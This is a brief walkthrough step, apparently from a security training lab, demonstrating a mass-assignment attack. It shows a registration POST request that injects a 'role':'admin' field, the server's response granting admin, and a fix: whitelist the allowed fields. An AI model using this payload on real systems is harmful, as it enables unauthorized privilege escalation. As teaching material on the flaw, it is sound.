Resend the registration request with an extra "role":"admin" parameter. If the server binds all request parameters directly to the model without filtering, the role gets set.
Command / Input
POST /api/register
{"username":"attacker","email":"a@b.com","password":"pass","role":"admin"}
Output
{"message":"Account created","role":"admin"}
⚑ The server should use a whitelist of allowed fields — only binding username, email, and password.